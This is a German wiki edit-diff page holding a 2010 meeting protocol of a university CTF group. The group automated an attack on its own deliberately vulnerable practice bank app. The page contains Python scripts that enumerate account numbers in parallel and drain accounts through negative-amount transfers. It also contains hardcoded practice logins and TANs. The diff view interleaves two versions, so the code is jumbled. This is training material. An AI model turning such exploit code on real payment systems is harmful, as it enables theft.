Bearbeiten von „CInsects/Protokolle/CInsects:Treffen-2010-11-16“

Zur Navigation springen Zur Suche springen

Warnung: Du bist nicht angemeldet. Deine IP-Adresse wird bei Bearbeitungen öffentlich sichtbar. Melde dich an oder erstelle ein Benutzerkonto, damit Bearbeitungen deinem Benutzernamen zugeordnet werden.

Die Bearbeitung kann rückgängig gemacht werden. Bitte prüfe den Vergleich unten, um sicherzustellen, dass du dies tun möchtest, und veröffentliche dann unten deine Änderungen, um die Bearbeitung rückgängig zu machen.

Aktuelle Version Dein Text
Zeile 1: Zeile 1:
Diese Seite ist eine Unterseite von [[CInsects]].
Heute haben wir uns überwiegend mit dem Automatisieren von Angriffen beschäftigt. Es ging darum eine Bankanwendung zu benutzen. Jeder Nutzer bekam einen Nutzernamen und ein Passwort sowie eine TAN-Liste. Mit den Daten konnte er sich einloggen und Geld an andere Konten ueberweisen. Die Konten waren mit Hilfe einer Suchfunktion in der Banksoftware auffindbar. Mit etwas Ausprobieren fand man schnell raus, dass man negative Betraege ueberweisen konnte und so mehr Geld auf dem eigenem Konto lag. Diesen Angriff galt es nun zu automatisieren. Es wurde Python als Programmiersprache empfohlen und gezeigt wie man ein Pythonprogramm schreibt. [http://ipython.scipy.org/ ipython] und die [http://docs.python.org Dokumentation] waren hilfreich um den Angriff zu schreiben. Als Tips wurden die Stichworte [http://docs.python.org/library/urllib2.html urllib2] und [http://docs.python.org/library/cookielib.html#cookielib.CookieJar CookieJar] in den Raum geschmissen. Die Firefox-Plugins [http://livehttpheaders.mozdev.org/ livehttpheaders] und [https://addons.mozilla.org/en-US/firefox/addon/60/ web developer toolbar] erleichterten das Verstaendnis beim Erforschen der Seite.
= Exploit =
= Exploit =


Haesslicher Quelltext:


 
<code>
== Schnelles auslesen der Kontonummern ueber gevent ==
<pre>
from gevent import monkey
monkey.patch_socket()


import urllib2
import urllib2
import urllib
import urllib
import cookielib
import cookielib
import re
from itertools import product
import string
import string
import re
from itertools import product, chain
import gevent


cj = cookielib.CookieJar()
cj = cookielib.CookieJar()
Zeile 25: Zeile 17:


url = 'http://badbank.cinsects.de'
url = 'http://badbank.cinsects.de'
data = urllib.urlencode({
    'user': 'Jan',
    'password': 'AZyNEBAeTC'
})
request = urllib2.urlopen(url + '/index.php', data)
login = request.read()


def login(user, password):
def alpha_beta_liste():
     params = urllib.urlencode({
     return [a+b for a, b in product(string.lowercase, string.lowercase)]
        'user': user,
        'password': password
    })
    urllib2.urlopen(url + '/index.php', params)


# Wir interessieren und nur fuer die Kontonummern
def search(params):
account_re = re.compile('<td>\w+</td>\n<td>(\d+)</td>')
     print params
def fetch_accounts(searchterm):
     req = urllib2.urlopen(url + '/index.php?page=search', params)
     params = urllib.urlencode({
    suche = req.read()
        'name': searchterm
     result = ktnre.findall(suche)
     })
    if result:
    data = urllib2.urlopen(url + '/index.php?page=search', params).read()
        name_nummer_list.append(result)
     return account_re.findall(data)
     print name_nummer_list
 
if __name__ == '__main__':
    login('Jan', 'AZyNEBAeTC')
    searchterms = [a + b for a, b in product(string.lowercase, string.lowercase)]
    jobs = [gevent.spawn(fetch_accounts, searchterm) for searchterm in searchterms]
    gevent.joinall(jobs, timeout=120)
    # Ergebnisse lesen und Liste flachklopfen
    accounts = list(chain(*[job.value for job in jobs]))
     print accounts
</pre>
 
Zeitmessung (<math>26^2 + 1 = 677</math> HTTP-Requests):
<pre>
real 0m19.563s
user 0m1.356s
sys 0m0.240s
</pre>


def transfer(kontonummer, betrag, tan_id, tan):
    params = urllib.urlencode({'account': kontonummer, 'amount': betrag, 'tan_id': tan_id, 'tan': tan})
    req = urllib2.urlopen(url + '/index.php?page=transfer', params)
    seite = req.read()
    if erfolg.findall(seite):
        print "Von %s wurden %s Geldeinheiten auf mein Konto ueberwiesen." % (name, -betrag)
    else:
        print "Es konnte leider kein Geld von %s auf mein Konto ueberwiesen werden." % name
   
alphabeta  = alpha_beta_liste()
ktnre = re.compile('<td>(.*)</td>')
betrag = -10
tan_id = 500
tan = 700338
erfolg = re.compile("<h2>Erfolgreiche Ueberweisung!</h2>")
name_nummer_list = []


ein kleines Script welches die übersicht über den Kontostand.
for name in alphabeta:
<pre>
     print name
import urllib
     params = urllib.urlencode({'name': name})
import urllib2
import cookielib
import re
import time
 
 
selfkn='43568'
 
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)
 
url = 'http://badbank.cinsects.de'
 
def login(user, password):
     params = urllib.urlencode({
        'user': user,
        'password': password
    })
    urllib2.urlopen(url + '/index.php', params)
 
def printKonto():
    text=urllib2.urlopen(url + '/index.php').read()
    #print text
    print re.findall('hat (\d+) toxische Dollar.</p>',text)[0]
 
 
print 'Login....'
login('xxx', 'xxx')
print 'kontoabfrage...'
while True:
    printKonto()
    time.sleep(5)
 
</pre>
 
== Volautomatischen geldklauen ==
Ein Script welches vollautomatisch Konten plündert. Eine erweiterung von Hennings Script. Benutzt getenv (ist im fbivpn nicht so gut, man wird dann wiederholt für einige Minuten gesperrt), Kontodaten werden nach dem ersten anwenden in einer Datei zwischengespeichert.
<pre>
 
from gevent import monkey
monkey.patch_socket()
 
import urllib2
import urllib
import cookielib
import string
import re
from itertools import product, chain
import gevent
import os.path
 
 
selfkn='43568'
 
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)
 
url = 'http://badbank.cinsects.de'
 
def login(user, password):
     params = urllib.urlencode({
        'user': user,
        'password': password
    })
    urllib2.urlopen(url + '/index.php', params)
 
# Wir interessieren und nur fuer die Kontonummern
account_re = re.compile('<td>\w+</td>\n<td>(\d+)</td>')
def fetch_accounts(searchterm):
    params = urllib.urlencode({
        'name': searchterm
    })
     while True:
     while True:
         try:
         try:
             data = urllib2.urlopen(url + '/index.php?page=search', params).read()
             search(params)
             break
             break
         except:
         except urllib2.URLError, e:
             pass
             print "Fehler aufgetreten" + e
    print '...Konto mit '+searchterm+' untersucht'
    return account_re.findall(data)


def ueberweise(konto,betrag):
    data = urllib.urlencode({
        'account':konto,
        'tan_id':176,
        'amount':betrag *-1,
        'tan':697768
    })
    while True:
        try:
            request = urllib2.urlopen(url + '/index.php?page=transfer',data)
            break
        except:
            pass
    ant=request.read()
    if(re.findall('(folgreich)',ant)):
        print 'Konto %s  um %s  Geld erleichtert' % (konto,betrag)
        return True
    return False


while True:
    for elem in name_nummer_list:
        name, kontonummer = elem


def plundern(konto):
    menge=1
    bad=0
    if(konto==selfkn):
        return 0;#sich selbst muss man kein geld ueberweisen
    while True:
        if(ueberweise(konto,menge)):
            menge*=2
            bad=0
        else:
            if(menge>1):
                menge/=2
            else:
              # time.sleep(5)
              bad+=1
              if(bad>10):
                  print 'Konto %s ist ganz Leer' % (konto)
                  break
    return 1
if __name__ == '__main__':
    print 'Login....'
    #login('Doerte', 'NMrSymamb2')
    print 'Suche Konten'
    if(os.path.exists('konten')):
        accounts=[]
        ko=open('konten')
         while True:
         while True:
             test=ko.read(5)
             try:
            if(test==''):
                transfer(kontonummer, betrag, tan_id, tan)
                break
                break
            accounts.append(test)
            except:
            ko.read(1)
                pass
    else:
</code>
        searchterms = [a + b for a, b in product(string.lowercase, string.lowercase)]
        jobs = [gevent.spawn(fetch_accounts, searchterm) for searchterm in searchterms]
        gevent.joinall(jobs, timeout=500)
        # Ergebnisse lesen und Liste flachklopfen
        accounts = list(chain(*[job.value for job in jobs]))
    #print accounts
    print 'Konten gefunden'
    jobs = [gevent.spawn(plundern,konto) for konto in accounts]
    gevent.joinall(jobs, timeout=500)
 
</pre>
 
[[Kategorie:CInsects-Protokolle]]

Bitte beachte, dass alle Beiträge zu Fachschaft_Informatik von anderen Mitwirkenden bearbeitet, geändert oder gelöscht werden können. Reiche hier keine Texte ein, falls du nicht willst, dass diese ohne Einschränkung geändert werden können.

Du bestätigst hiermit auch, dass du diese Texte selbst geschrieben hast oder diese von einer gemeinfreien Quelle kopiert hast (weitere Einzelheiten unter Fachschaft Informatik:Urheberrechte). ÜBERTRAGE OHNE GENEHMIGUNG KEINE URHEBERRECHTLICH GESCHÜTZTEN INHALTE!

Bitte beantworte die folgende Frage, um diese Seite bearbeiten zu können (<a href="/Fachschaft/wiki/index.php?title=Special:Captcha/help" class="internal">weitere Informationen</a>):

Abbrechen Bearbeitungshilfe (wird in einem neuen Fenster geöffnet)
Abgerufen von „https://www2.informatik.uni-hamburg.de/fachschaft/wiki/index.php/CInsects/Protokolle/CInsects:Treffen-2010-11-16“